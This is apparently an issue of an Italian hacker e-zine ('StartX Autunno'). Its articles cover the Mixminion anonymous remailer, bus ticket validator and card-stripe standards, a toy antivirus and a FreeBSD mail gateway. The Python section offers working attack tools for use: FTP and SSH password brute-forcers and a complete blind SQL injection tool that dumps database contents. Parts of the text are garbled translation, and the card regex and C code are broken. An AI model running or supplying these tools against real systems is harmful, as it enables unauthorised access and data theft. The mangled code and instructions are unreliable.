StartXAUTUNNO

Transcript

StartXAUTUNNO
Object 1
eYou are free
LIBERTA E ANONIMATO
Introduzione
Benvenuti in questa edizione di StartX, ancora una volta scriveremo
come sempre cose che non vengono mai dette, o dette a meta.
Spero vi godiate questo numero di StartX
mixminion
mixminion e un implementazione del prodocollo remail, ma cose
un protocollo anonyomous remailer?
E un server che riceve un email contenente il messaggio e l'istruzzione
di dove inviarlo, senza che pero il sudetto server rillevi le generalita
della mail, quindi senza rillevare l'origine della mail
i remailer pero si distinguono in due classi
Tracciabili
Il remailer stabilisce un elenco interno di mittenti reali e inventati
in modo che il destinatario possa inviare una mail a nome con un nome
di fantasia,
e cosi la posta e uscita, nel caso il ricevente voglia scrivere un email e
rispedirla al mittente
il server consultala lista, e inoltra la posta al mittente originale,
permettendo cosìuna comunicazzione anonima, anche se rintracciabile
con accesso alla lista-comunicazione
non tracciabili
Il remail non tracciabile ha il vantaggio del anonimato in quanto
a differenza del tracciabile esso non permettendo un interazzione
bidirezzionale non ha bisogno che l'utente sia registrato su una lista
Mixminion quindi e un remailer tracciabile in quanto puo inviare e
ricevere in forma anonima l'email, mixminion usa un aproccio
conservatore
nel design in modo da garantire la sicurezza agli attacchi piu noti
Gli sviluppatori hanno scelto un design semplice in
poter fornire un
sistema centrale robusto e poi sperimentare nuove funzionalità di ricerca
come
dummy policies, directory servers, and reputation systems
inoltre questo remailer usa un'architettura di rete mix, che ha un
forte anonimato, e quindi previene intercettazzioni ecc...
ma come funziona la rete mix?
I volontari eseguono dei server (chiamati "mix") che ricevono i
messaggi,
li decifrano, li ri-ordinano, e li ri-trasmettono verso la loro destinazione
finale.
Ogni e-mail passa attraverso una serie di mix in modo che nessun
singolo mix può collegare mittenti con i destinatari.
Inoltre mixminion per garantire un ulteriore anonimato
prende l'e-mail la suddivide in dimensioni uniformi (detti pachetti)
i pachetti vengono rillevati ed ogni pachetto viene inviato ad un
mix diverso.
Mixminion al momento della trasmissione del pachetto esso viene
criptato
con chiavi publiche per ciascun server quindi vuol dire che pachetto
1 per andare a server a possiede chiave 1a pachetto 2 a server b
ha la chiave 2b ecc.
Quindi il pachetto e stato criptato viene spedito al mix il quale
lo decripta leggendone il destinatario, lo invia al sudetto
ed con l'insieme dei pachetti che erano l'e-mail mixminion ricompone
i pachetti in modo da ricostruire l'e-mail
Mixminion e anche abilitato al SURBs (Single-Use Reply Blocks)
Cose il SURBs?
Un SURB codifica mezzo percorso per il destinatario, in modo che ogni
mix in sequenza può scartare per ogni
singolo strato di percorso
e cifrare il messaggio per il destinatario. Quando il messaggio
raggiunge il destinatario, il destinatario può decodificare il messaggio e
imparare che SURB è stato utilizzato per inviare l'email
e con questo concludiamo questa sfuggente occhiata a mix minion
[by afr0]
Poche righe di python
Questo articolo si prepone l'obbiettivo di condividere piccoli script in
python (mooollllttooooo semplici) che ho ritenuto possano essere utili
Allora cominciamo con un problema, se io volessi vedere il codice di una
pagina web e non il risultato grafico?
import urllib
import urllib2
print '='*50
print ("Andiamo a leggere il codice!!!!")
print ("Make by afr0")
print '='*50
sitesw=raw_input ('Site:')
urlStr = (sitesw)
coso= ('http://')
try:
fileHandle = urllib2.urlopen(coso+sitesw)
str1 = fileHandle.read()
fileHandle.close()
print '-'*50
print 'HTML code of URL =', sitesw
print '-'*50
except IOError:
print 'Cannot open URL for reading', sitesw
str1 = 'error!'
print str1
con queste semplici stringhe andremo a vedere il codice HTML di una
pagina, mah proseguiamo
Proseguiamo con uno script python per una ircbot
import socket
network = 'irc.snm.co.nz'
port = 6667
irc = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
irc.connect ( ( network, port ) )
print irc.recv ( 4096 )
irc.send ( 'NICK botty\r\n' )
irc.send ( 'USER botty botty botty :Python IRC\r\n' )
irc.send ( 'JOIN #paul\r\n' )
irc.send ( 'PRIVMSG #Paul :Hello World.\r\n' )
while True:
data = irc.recv ( 4096 )
if data.find ( 'PING' ) != -1:
irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' )
if data.find ( '!botty quit' ) != -1:
irc.send ( 'PRIVMSG #paul :Fine, if you don't want me\r\n' )
irc.send ( 'QUIT\r\n' )
if data.find ( 'hi botty' ) != -1:
irc.send ( 'PRIVMSG #paul :I already said hi...\r\n' )
if data.find ( 'hello botty' ) != -1:
irc.send ( 'PRIVMSG #paul :I already said hi...\r\n' )
if data.find ( 'KICK' ) != -1:
irc.send ( 'JOIN #paul\r\n' )
if data.find ( 'cheese' ) != -1:
irc.send ( 'PRIVMSG #paul :WHERE!!!!!!\r\n' )
if data.find ( 'slaps botty' ) != -1:
irc.send ( 'PRIVMSG #paul :This is the Trout Protection Agency.
Please put the Trout Down and walk away with your hands in the
air.\r\n' )
print data
adesso vediamo un ftp brute force
#!/usr/bin/python
import random, string, ftplib
from ftplib import FTP
def bruteforce(server, username, user_min_length, user_max_length,
pass_min_length, pass_max_length):
chars = string.ascii_uppercase + string.ascii_lowercase +
string.digits
try:
ftp_conn = FTP(server)
except ftplib.all_errors:
print 'connection to ' + server + ' failed!\n'
input()
exit()
else:
print 'successfully connected to ' + server + '\n'
ftp_conn.close()
del ftp_conn
while 1:
if username == '':
count_chars = 1
random_username = ''
while count_chars <=
random.randint(user_min_length, user_max_length):
random_username = random_username +
chars[random.randint(0, len(chars) - 1)]
count_chars = count_chars + 1
ftp_username = random_username
else:
ftp_username = username
count_chars = 1
random_password =''
while count_chars <=
random.randint(pass_min_length, pass_max_length):
random_password = random_password +
chars[random.randint(0, len(chars) - 1)]
count_chars = count_chars + 1
ftp_password = random_password
try:
ftp_conn = FTP(server)
except ftplib.all_errors:
print 'connection to server lost...\n'
break
print 'trying username ' + ftp_username + ' with
password ' + ftp_password + '\n'
try:
ftp_conn.login(ftp_username, ftp_password)
except ftplib.all_errors:
pass
else:
print 'brute force succeeded!\nusername: ' +
ftp_username + '\npassword: ' + ftp_password + '\nserver: ' + server +
'\n'
break
ftp_conn.close()
del ftp_conn
ftp_conn.close()
print 'FTP Brute Force program\n\n'
print 'v0.1\n\n'
print 'By Yotam\n\n'
address = raw_input('enter the server address:\n')
username_opts = input('choose one of those options:\n1) I have the
username, guess only the password.\n2) guess the username too.\n')
if username_opts == 1:
username_ftp = raw_input('enter username:\n')
u_min_l = 0
u_max_l = 0
elif username_opts == 2:
u_min_l = input('enter username min length:\n')
u_max_l = input('enter username max length:\n')
username_ftp = ''
else:
print('error\n')
input()
exit()
p_min_l = input('enter password min length:\n')
p_max_l = input('enter password max length:\n')
bruteforce(address, username_ftp, u_min_l, u_max_l, p_min_l,
p_max_l)
print '\n'
input()
____________________________________________________________
e se ora volessimo un ssh brute force
#!/usr/bin/python
import paramiko
import itertools,string,crypt
PASSSIZE = 5
IPADDRESS = "127.0.0.1"
USERNAME = "test"
SSHPORT=22
#
# Generates a password of containing only digits with a size of
PASSSIZE
#
## To get other combinations pass the following values as the first
argument to itertools.combinations
# string.punctuation+string.ascii_letters+string.digits
# string.ascii_letters+string.digits
var = itertools.combinations(string.digits,PASSSIZE)
try:
for i in var:
passwd = ''.join(i)
ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())
try:
ssh.connect(IPADDRESS , port=SSHPORT,
username=USERNAME, password=passwd)
print "Connected successfully. Password = "+passwd
break
except paramiko.AuthenticationException, error:
print "Incorrect password: "+passwd
continue
except socket.error, error:
print error
continue
except paramiko.SSHException, error:
print error
print "Most probably this is caused by a missing host key"
continue
except Exception, error:
print "Unknown error: "+error
continue
ssh.close()
except Exception,error :
print error
E se volessimo un sqlinject?
#!/usr/bin/python2.7
# Toolname
: sqlinjector.py
# Programmer :
# Version : 1.0
import sys,re,urllib2,string,time
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
Previous_Msg = ""
Previous_Filename = ""
Files = []
Messages = []
Urls = []
def banner():
print "#########################"
print "## sqlinjector v1.0 ##"
print "##
##"
print "#########################\n"
def request(URL):
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS
X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3
Safari/534.53.10' }
req = urllib2.Request(URL, None, user_agent)
try:
request = urllib2.urlopen(req)
except HTTPError, e:
print('[!] The server couldnt fulfill the request.')
print('[!] Error code: ' + str(e.code))
sys.exit(1)
except URLError, e:
print('[!] We failed to reach a server.')
print('[!] Reason: ' + str(e.reason))
sys.exit(1)
return len(request.read())
def value(URL):
target = 0
end = 0
next_maybe = 0
floor = 0
ceiling = 255
maybe = int(ceiling)/2
while(end != 9):
if(is_what(URL, maybe, '>')):
floor = maybe
next_maybe = int(maybe + ((ceiling - floor)/2))
elif(is_what(URL, maybe, '<')):
ceiling = maybe
next_maybe = int(maybe - ((ceiling - floor)/2))
elif(is_what(URL, maybe, '=')):
return chr(maybe)
maybe = next_maybe
end += 1
return 'done'
def is_what(URL, maybe, op):
if(sqli_type == 'boolean'):
ValueResponse = int(request(str(URL) + str(op) + str(maybe) + '-+'))
if(TrueResponse == ValueResponse):
return 1
else:
return 0
elif(sqli_type == 'time'):
start = time.time()
ValueResonse = request(str(URL) + str(op) + str(maybe) + ')*2)--+')
elapsed_time = (time.time() - start)
if (elapsed_time > 2):
return 1
else:
return 0
def vuln_check(URL):
print('[+] Checking site...')
global TrueResponse
TrueResponse = int(request(URL + '%20AND%2043%20like%2043-+'))
FalseResponse = int(request(URL + '%20AND%2034%20like%2043-+'))
if(TrueResponse != FalseResponse):
print('[+] Site seems to be vulnerable to boolean based blind SQL
injection.')
return 'boolean'
else:
start = time.time()
SleepResponse = request(URL + '%20and%20sleep(5)--+')
elapsed_time = (time.time() - start)
if(elapsed_time > 5):
print('[+] Site seems to be vulnerable to time based blind SQL
injection.')
return 'time'
else:
print('[!] Seems like site isnt vulnerable to blind SQL injection.')
sys.exit(1)
def main():
print('''
Auto BSQLi tool for MySQL
''')
usage = 'usage: %prog -u <target> -i <injection>'
parser = OptionParser(usage=usage)
parser.add_option("-u", action="store", type="string", dest="URL",
help='"http://site.tld/index.php?id=1%27"')
parser.add_option('-i', action='store', type='string',
dest='INJECTION', help='"select version()"')
(options, args) = parser.parse_args()
if(options.URL and options.INJECTION):
URL = options.URL
INJECTION = urllib2.quote(options.INJECTION.encode("utf8"))
else:
print('[!] Missing url or injection parameter.')
print('[!] Use --help.')
sys.exit(1)
global sqli_type
sqli_type = vuln_check(URL)
position = 1
dump = ''
print('[+] Dumping data...')
while(1):
if(sqli_type == 'boolean'):
letter = value(URL + '%20and%20ascii(substr((' + INJECTION
+ ')%20from%20' + str(position) + '%20for%201))')
elif(sqli_type == 'time'):
letter = value(URL + '%20and%20sleep((select%20ascii(substr(('
+ INJECTION + ')%20from%20' + str(position) + '%20for%201))')
if(letter == 'done'):
break
dump = dump + letter
position += 1
if(dump):
print('[+] Data: ' + dump)
else:
print('[!] No data dumped. Check your injection.')
if __name__ == "__main__":
main()
Macchine oblitera biglietti autobus
Quello che non sapevate
Caratteristiche operative
Acquisto biglietti precodificati a bordo formato ISO 7813* (54x86 mm)
in modalità
self-service
Convalida biglietti acquistati a terra mediante stampa termica diretta •
Convalida
tessere contactless secondo standard ISO 14443 A/B** - ISO 15693***;
ISO/IEC
14443- 2:2001/FPDAM 2 2004-03-17
Dispenser con capacità di circa 400 biglietti.
Pagamento con monete dei seguenti conii: Euro 0,05-0,10-0,20-0,501,00-2,00 (0,01
e 0,02 opzionali) • Interfaccia utente tramite display alfanumerico LCD
4 righe x 16
caratteri
*ISO 7813:
è uno standard internazionale codificata dalla International
Organization for Standardization e
Commissione elettrotecnica internazionale che definisce le proprietà di
carte di transazioni
finanziarie,ad esempio,bancomat o carte di credito .
I definisce standard:
•caratteristiche fisiche, come ad esempio le dimensioni, la forma, la
posizione di banda magnetica,
ecc
•strutture dati pista magnetica
ISO / IEC 7813 specifica le seguenti caratteristiche fisiche della scheda,
principalmente con
riferimento ad altri standard:
Caratteri in rilievo
con riferimento alla norma ISO / IEC 7811
Goffratura di data di scadenza
il formato, ad esempio MM / AA o MM-AA
Banda magnetica
con riferimento alla norma ISO / IEC 7811
Circuito integrato con contatti
con riferimento alla norma ISO / IEC 7816-1
Circuito integrato senza contatti
con riferimento alla norma ISO / IEC 10536-1,ISO / IEC 14443-1
oISO / IEC 15693-1, a seconda
dei casi
TRACCE MAGNETICHE
Traccia 1
La struttura del binario 1 è specificato come:
•STX: Avviare sentinella "%"
•FC: codice Format "B" (Il formato descritto qui Format "A" è
riservato per uso esclusivo..)
•PAN: Primary Account Number, fino a 19 cifre
•FS: Separator "^"
•NM: Nome, da 2 a 26 caratteri (compresi i loro separatori, se del caso,
tra cognome, nome, ecc)
•FS: Separator "^"
•ED: i dati di scadenza, 4 cifre o "^"
•SC: Codice di servizio, 3 cifre o "^"
•DD: dati discrezionale, equilibrio di personaggi
•ETX: "?" End sentinel
•LRC:controllo di ridondanza longitudinale, calcolato in base alla
norma ISO / IEC 7811-2
La lunghezza massima di registrazione è di 79 caratteri alfanumerici.
Campioni
% B6011898748579348 ^ DOE / JOHN ^ 37829821000123456789?
% B6011785948493759 ^ DOE / JOHN L ^^^ 0000000 00998000000?
Traccia 2
La struttura traccia 2 è specificato come:
•STX: Avviare sentinella ";"
•PAN: Primary Account Number, fino a 19 cifre, come definito nella
norma ISO / IEC 7812-1
•FS: Separator "="
•ED: Data di scadenza, YYMM o "=", se non presente
•SC: Codice di servizio, 3 cifre o "=", se non presente
•DD: dati discrezionale, equilibrio di cifre disponibili
•ETX: "?" End sentinel
•LRC: controllo di ridondanza longitudinale, calcolato in base alla
norma ISO / IEC 7811-2
La lunghezza massima di registrazione è di 40 cifre numeriche.
Traccia 3
Traccia 3 è praticamente inutilizzato dalle maggiori reti mondiali e
spesso non è nemmeno
fisicamente presente sulla scheda in virtù di una banda magnetica
stretto.
Una notevole eccezione è la Germania, dove Traccia 3 contenuto è stato
utilizzato a livello
nazionale come la fonte primaria di autorizzazione e informazioni di
compensazione per
l'elaborazione delle carte di debito prima dell'adozione delle "SECCOS"
standard ICC. Traccia 3 è
standardizzato a livello nazionale per contenere sia il numero di conto
bancario e il ramo sorta di
codice del titolare della carta (BLZ).
Programmazione
Analisi pista 1 e la pista 2 può essere fatto con le espressioni regolari.
Incluso qui è solo
l'espressione regolare per l'analisi di traccia 1.
Traccia 1
^% ([AZ]) ([0-9] {1,19}) \ ^ ([^ \ ^] {2,26}) \ ^ ([0-9] {4} | \ ^) ([ 0-9] {3}
|?? \ ^) ([^ \] +) \ $
Questo Regex catturerà tutti i settori importanti nei seguenti gruppi:
•Gruppo 1: Formato codice
•Gruppo 2: Primary Account Number (PAN)
•Gruppo 3: Nome
•Gruppo 4: Data di scadenza
•Gruppo 5: Codice del servizio
•Gruppo 6: dati discrezionale
** ISO 14443 A/B:
definisce lo standard di una contactless smartcard usata nei sistemi di
bigliettazione elettronica,
identificazione di persone e oggetti, sistemi di pagamento, controllo di
accessi.
Recentemente gli standard ICAO per i documenti di viaggio leggibili
automaticamente (tramite
macchine) specificano la formattazione dei file per la firma
crittograficae i protocolli di
autenticazione per memorizzare elementi biometrici(fotografia del viso,
impronte digitali, o
dell'iride).
Si tratta di uno standard e non di una normativa: la normativa è una
disposizione che deve essere
obbligatoriamente rispettata, a uno standard si aderisce per scelta. Tutti i
dispositivi che rispettano
lo standard ISO 14443 possono comunicare tra di loro senza problemi
(concetto riassunto nel
termine interoperabilità).
Lo standard è stato sviluppato dal comitato tecnico congiunto ISO e IEC
e viene quindi indicato
anche come ISO/IEC 14443.
I lettori a Radio Frequency Identification (RFID) usano un
microcontrollore interno (inclusivo del
proprio microprocessore e diversi tipi di memoria) e un'antenna a loop
magnetico che funziona a
13,56 MHz (RFID frequency). Frequenza che appartiene alla banda
detta HF. I dispositivi sono solo
passivi (non hanno un sistema di alimentazione autonoma: al momento
della operazione di lettura o
scrittura si alimentano mediante il campo elettromagnetico emesso dal
dispositivo che li interroga).
Le caratteristiche fisiche delle smart card sono definite dallo standard
ISO 7810 ID-1. La
compatibilità per le smart card è richiesta per le 4 parti dello standard
ISO 14443:
•Parte 1: caratteristiche fisiche;
•Parte 2: radiofrequenza e modulazione (modalità A o modalità B);
•Parte 3: inizializzazione ed anticollisione;
•Parte 4: protocollo di trasmissione.
Lo standard descrive due tipi di carte: Tipo A e Tipo B. La distinzione tra
carte A e carte B della
norma è relativa alle modalità di modulazione del segnale, che è
esplicitata nella parte 2 dello
standard. La parte 4 della ISO 14443 descrive invece il protocollo di alto
livello utilizzato (chiamato
T=CL), che vale sia per la A che per la B. Il protocollo T=CL specifica i
blocchi, gli exchange dei
blocchi e i meccanismi
1.data block chaining
2.waiting time extension
3.multi-activation
L'ISO 14443 usa i seguenti termini per i dispositivi tra cui si instaura la
comunicazione e lo scambio
di dati (definite nella parte 1 dello standard):
•PCD— lettore (Proximity Coupling Device)
•PICC— carta di prossimità con circuito integrato (Proximity Integrated
Circuit Cards)
Carte Mifare e carte Calypso
Le carte Mifare ottemperano alla ISO 14443 parte 1, 2 e 3 (type A). Per
le carte Mifare esistono 2
famiglie:
•carte Mifare Standard (Ultralight, Ultralight C, Classic 1 kBytes e 4 kB,
Plus S ed X 2kBytes o
4kBytes, DESFire). Rispondono alla ISO 14443 1, 2 (A), 3, non alla la
parte 4 dello standard
(hanno un protocollo proprietario). Inoltre sono carte a memoria (senza
microprocessore), sono
quindi adatte solo per applicazioni "semplici".
•carte T=CL (ProX e SmartMX). Rispondono alla ISO 14443 1, 2 (A), 3
e anche alla parte 4. Sono
carte con microprocessore, e sono quindi adatte per applicazioni
"complesse".
Le carte Calypso ottemperano alla ISO 14443-B. Sono dotate di
microprocessore (possono quindi
gestire applicazioni complesse), rispondono a tutti i 4 punti della norma
e seguono la modulazione
di tipo B.
***ISO 15693:
è uno standard internazionale della International Organization for
Standardization per le carte di
vicinanza, ovvero le smart card che possono essere lette e scritte a
distanza maggiore rispetto alle
contactless smartcard (regolate invece dallo standard ISO 14443). Le
carte di vicinanza e le
contactless smartcard appartengono alla famiglia delle "carte di
prossimità".
Il sistema ISO 15693 opera sulla frequenza 13.56 MHz, e offre una
distanza di lettura di 1–1,5
metri.
Poiché le vicinity card devono operare a distanza, sono necessari campi
magnetici inferiori (da 0,15
a 5 A/m) rispetto a quelli impiegati nelle carte di prossimità (da 1,5 a 7,5
A/m).
La comunicazione dal lettore alla carta usa l'amplitude-shift keying con
indice di modulazione del
10% o 100%.
La codifica dei dati è come segue:
1 out of 4 (1 su 4) pulse-position modulation
2 bit sono codificati come un impulso con una pausa di 9,44 μs in un
simbolo di 75,52 μs, il che
risulta in un bitrate di 26,48 kilobits per secondo; i bit meno significativi
vengono inviati per primi.
1 out of 256 (1 su 256) pulse-position modulation
8 bit sono codificati come un impulso con una pausa di 9,44 μs in un
simbolo di 4,833 ms, il che
risulta in un bitrate di 1,65 kilobits per secondo.
La carta ha due sistemi per inviare i dati verso il lettore:
Amplitude Shift Keying
Amplitude-shift keying indice di modulazione al 100% su una
(sotto)portante di 423,75 kHz. Il data
rate può essere:
Low (basso) a 6,62 kbit/s (freq/2048)
High (alto) a 26,48 kbit/s (freq/512)
Uno 0 logico inizia con 8 impulsi di 423,75 kHz, seguiti da un tempo
senza modulazione di 18,88
μs (256/ freq); un 1 logico è all'opposto.
I delimitatori di un pacchetto dati sono simboli illegali del codice. Un
segnale di inizio del frame è:
1.un periodo senza modulazione di 56,64 μs (768/freq),
2.24 impulsi di 423,75 kHz
3.un 1 logico
e il segnale di fine frame è:
1.uno 0 logico
2.24 impulsi di 423,75 kHz
3.un periodo senza modulazione di 56,64 μs
I dati vengono inviati codificati con unacodifica Manchester.
Frequency Shift Keying
frequency-shift keying alternando fra una (sotto)portante a 423,75 kHz
(freq/32) e una
(sotto)portante a 484,25 kHz (freq/28).
Il data rate può essere:
Low (basso) a 6,67 kbit/s (freq/2032)
High (alto) 26,69 kbit/s (freq/508)
Uno 0 logico inizia con 8 impulsi a 423,65 kHz seguiti da 9 impulsi a
484,28 kHz; un 1 logico è
all'opposto.
I delimitatori di un pacchetto dati sono simboli illegali del codice. Un
segnale di inizio del frame è:
1.27 impulsi a 484,28 kHz
2.24 impulsi 423,75 kHz
3.un 1 logico
e il segnale di fine frame è:
1.uno 0 logico
2.24 impulsi a 423,75 kHz
3.27 impulsi a 484,28 kHz
I dati vengono inviati codificati con una codifica Manchester.
Caratteristiche gestionali:
• Identificazione degli operatori e del loro profilo operativo mediante
carta
contacless
• Aggiornamento dei dati di configurazione mediante carta contacless,
computer di
bordo o palmare
• Scarico dei dati consuntivi di rendicontazione mediante carta
contactless o palmare
• Scarico dei dati consuntivi di rendicontazione mediante modulo
GSM/GPRS
opzionale
• Accesso all’incasso mediante procedura sicura con cassaforte monete
autosigillante
dopo l’estrazione
• Autodiagnosi e gestione automatica degli allarmi, quali fine biglietti e
eventuali
allarmi tecnologici.
• Programmabilità del prezzo del biglietto e della data di entrata in
vigore di una
nuova tariffa.
• Possibilità di comunicare con altri apparati presenti sulla vettura
tramite porta
seriale RS232 o RS485*
• Possibilità di comunicare tramite GSM/GPRS (opzionale) o computer
palmare
(interfaccia seriale o Bluetooh) o smart card
• Controllo apparecchiatura da console autista (opzionale)
CPU:
• Memoria di programma: 256Kbytes flash.
• Memoria operativa: 16 Kbytes Ram.
• Memoria dati di Back-up: 32+2 Kbytes EEprom.
• Interfacce: RS232/ I/O digitali/RS485
Lettore/codificatore contactless:
• Compatibilità ISO 14443 A/B - ISO 15693; ISO/IEC 144432:2001/FPDAM 2
2004-03-17
• Tipologia di carta Smart card contactless
• Interfaccia High power class 1 RF interface
• Trasmissione dati High-speed communication: da 106 Kb/s a 424 Kb/s;
• Crittografia: Cryptographic security management con modulo SAM +
Mifare® asic
• Marchi CE EN300330, EN301 489-3, EN60950-1
Modulo Emissione Biglietti:
• Trascinamento dei biglietti: con ruote dentate in prossimità dei bordi
lunghi
• Sfogliamento dei biglietti: con coppia di ruote gommate contro rotanti
• Tipo biglietti: Cartoncino
• Dimensioni dei biglietti: formato carta di credito (ISO 7813 – 54 x 85,6
mm circa)
• Spessore dei biglietti: da 0.2 mm a 0.3 mm
• Velocità di emissione: 0,5 secondi • Contenuto magazzino: circa 400
biglietti
• Sensori: Inceppamento biglietto, riserva biglietti, magazzino vuoto
• Corrente assorbita: 70 mA a riposo, 2A durante l’emissione
CONCLUSIONI
Vi starete chiedendo perche ho scritto una sorta di manuale sulle
machinette dei ticket
dei bus, molto semplicemente molte volte si guarda il mondo e se si
fanno domande
si ottiene la risposta: ma cosa te ne frega!
Lo scopo delle mie publicazioni, anzi il mio e appunto rompere sta
catena e chi vuole
conoscere e sapere abbia la possibilita di farlo
-afr0
Antivirus, dolori e amori
Cos'è quest'articolo?
bhe come tutti prima o poi ci si chiede: come lavora? ne posso fare uno
mio?
La risposta a tutto cio e si!
mah incominciamo dalla base, quindi facciamo che siamo su windows
non sappiamo programmare, sappiamo solo fare piccoli script batch
allora incominciamo creando uno script batch per avere una lista dei file
che abbiamo
----echo off
cd %USERPROFILE%/Documents
dir /B /ON /S *.* > C:\Users\test\1.txt
cd %USERPROFILE%/Pictures
dir /B /ON /S *.* > C:\Users\test\2.txt
cd %USERPROFILE%/Music
dir /B /ON /S *.* > C:\Users\test\3.txt
cd %USERPROFILE%/Downloads
dir /B /ON /S *.* > C:\Users\test\4.txt
pause
-----Questo script creera a file con estensione txt, nei quali avremo una
lista di tutti i file presente rispettivamente nelle cartelle: Documenti,
foto, musica e downloads
quindi ora sappiamo dove e ogni singolo file, quindi sappiamo dove
dirigerci, e in piu facendolo di
volta in volta potremo tenere sott'occhio tutti i nuovi file dentro il nostro
pc
ad esempio
------echo off
cd C:
dir /B /ON /S *.* > C:\Users\test\1.txt
pause
------Cosi analizzeremo tutto il disco principale e creeremo un file
contenente la lista di ogni singolo file presente dentro, e l'esatta
posizzione
ok mah poi?
allora questo serve per un primo controllo creando i file e poi
paragonandoli, cosi si notano subito i file non
immessi da noi e non
ma ora sappiamo la lista di file, ok mah come si fa a sapere se quello e
un virus o meno?
facciamo un salto in dietro, bisogna cercare una determinata riga di
testo in un determinato file
quindi:
---------echo off
findstr /i /c:"sono un virus" "C:\Users\test\virus.txt
--------e questo sara il risultato
-------sono un virus
C:\users>
------bene mah ora il problema e riutilizzare la cosa per un eseguibile ( un
.exe)
in quanto questo semplice cerca dentro il file non riesce ad vedere
dentro i file .exe, quindi quale la proposta della rivista??
Unire il primo script, con un file in C
Il file in C analizza il file (anche. Exe)
mentre il primo script fara un report
Dei file che ci sono sul pc, in modo da tenere doppiamente tutto sotto
controllo
Allora questo e il source in C
// Author: Lavneet Sharma
// The program written below is an exclusive property of www.freaksense.com
#include <dirent.h>
#include <string.h>
#include <fstream.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream.h>
int scan_this(char *file_name)
{
char *pattern, *line_in_file;
char file_ch, ch;
int val, val2, flag;
ifstream fin3, fin4;
fin3.open(file_name); // incase the file is not accesible
if(!fin3) return 0;
else // file is accessible | 100% it is a file.
{
//Opening Virus Database File
fin4.open(“db.txt”); // Questo e il DATABASE DEI VIRUS
for(;;)
{
fin4>>pattern;
if(!strcmp(pattern,”<-“))
{
fin4>>pattern;
if(!strcmpi(pattern,”End”))return -1;
else if(!strcmpi(pattern, “virus”))
{
if(flag) return 1;
else continue;
}
}
else if(!strcmpi(pattern,”LINE”))
{
fin4>>val; // got the line number
// skipping initial lines to reach the line number
for(int i=0;i<val-1;i++)
{
fin3.getline(line_in_file, 300);
}
fin4>>val; // got the character number
fin4>>file_ch; // got the character
//skipping initial character to reach the character
for(i=0;i<val-1;i++)
{
fin3.get(ch);
}
if(file_ch == ch) flag = 1; // matched.
else flag =0;
fin3.seekg(0); // set to start
}
}
}
}
void main()
{
char comm[300], dirpath[100], file_name[200];
char ask;
int response;
ifstream fin;
cout<<“Enter Directory you want to scan: “;
cin>>dirpath;
strcpy(comm, “dir “);
strcat(comm, “dirpath /b /s >tmp.$$$”);
system(comm);
fin.open(“tmp.$$$”);
while(!fin.eof())
{
fin.getline(file_name, 200);
response = scan_this(file_name);
if(response == 1)
{
cout<<“<–!! Caution.! A Virus has been Detected..!”;
cout<<“n”<<file_name;
cout<<“nPress Enter Key to Delete it.”;
ask= getch();
if(ask == 13)
{
remove(file_name); // delete the virus
}
}
}
fin.close();
cout<<“Scan Complete.!! Thank You for using our anti virus”;
getch();
}
mah come creare il file db.txt?
Sembra banale mah dovrete cercare i virus aprirli ad esempio con note
pad ed nel file db.txt scrivere
ora dobbiamo pachettizare il codice
useremo gcc quindi
1) gcc -c antvirus.c
2) gcc antvirus.o -o antvirus.exe
Quindi ora abbiamo un file batch che controlla tutto il software
installato e fa un file con su scritto, cosa e dove
ed abbiamo un file scritto in C che analizza il codice dei software
Direi che possiamo assemblare il tutto
echo off
echo stai avviando un analisi del tuo pc
pause
cd C:
dir /B /ON /S *.* > C:\Users\afr0\Desktop\adami\test\1.txt
pause
start /d "C:\Users\test\" antvirus .exe
pause
echo l'analisi e finita
pause
Bene ovviamento questo e un rudimentale e semplicissimo antivirus
ovviamente non vi aspettate che trovi anche il santo graal pero
da questa base potete continuare a migliorare ed.....
ringrazzio:
www.freaksense.com
per il codice in C
Email gateway con BSD
Incominciamo e necessario updare FreeBSD Port tree
quindi da linea
#cd /usr/ports
#portsnap fetch update
ora installiamo Postfix MTA
#cd /usr/ports/mail/postfix
#make install clean
#cd /usr/local/etc/postfix
#postalias aliases
installiamo MailScanner
#cd /usr/ports/mail/mailscanner
#make install clean
ora configuriamo Postfix MTA, per farlo dobbiamo editare il file: main.cf
andamiamo a vedere il file ( il file si trova: /usr/local/etc/postfix)
myhostname = mailgw.acme.local
mydomain = localhost
inet_interfaces = all
mydestination = $myhostname, localhost.$mydomain,
localhost
mynetworks_style = host
mynetworks = 192.168.0.0/24, 127.0.0.0/8
relay_domains = acme.local
transport_maps = hash:/usr/local/etc/postfix/transport
header_checks =regexp:/usr/local/etcpostfix/header_checks
Ora bisogna creare il transport_maps il cui contenuto e rispettivamente
acme.local smtp:[192.168.0.2]
bene quindi per crearlo andiamo da linea ed:
#cd /usr/local/etc/postfix
#vi transport
#portmap transport
#cd /usr/local/etc/postfix
#vi header_checks
Il sendmail predefinito in FreeBSD e MTA, sara necessario disabilitarlo
ed abilitare postfix al boot di start
quindi
#cd /etc/rc.conf #
ed apriamo il file rc.conf
sendmail_enable=”NONE”
sendmail_msp_queue_enable=”NO”
sendmail_outbound_enable=”NO”
sendmail_submit_enable=”NO”
postfix_enable=”YES"
bene fatto cio non rimane che configurare il MailScanner
per farlo bisogna editare il file MailScanner.conf, che si trova:
/usr/local/etc/MailScanner/MailScanner.conf
questi riportati sotto i parametri base necessari per conficurarlo
%org-name% = ACME
%web-site% = www.acme.local
Run As User =postfix
Run As Group =postfix
Incoming Queue Dir = /var/spool/postfix/hold
Outgoing Queue Dir = /var/spool/postfix/incoming
MTA =postfix
Virus Scanners = clamav
Still Deliver Silent Viruses = yes
SpamAssassin User State Dir = /var/spool/MailScanner/spamassassin
I virus silenziosi non dovrebbero essere usati in una produzione
ambiente, perché il sistema invierà migliaia di
Messaggi MailScanner agli utenti.
le prestazioni aumentando in base al parametro Max Children.
Tenete a mente ogni processo consuma 20 MB.
qundi procediamo acreare le
autorizzazioni necessarieper directory e poi configurare.
#mkdir -p / var / spool / Mailscanner / incoming && mkdir / var /
spool / Mailscanner / quarantena && mkdir / var / spool /
Mailscanner / spamassassin
#chown -R postfix: postfix / var / spool / Mailscanner
#chmod -R 775 / var / spool / Mailscanner
Modificare il file /etc/rc.conf per abilitare MailScanner, ClamAV
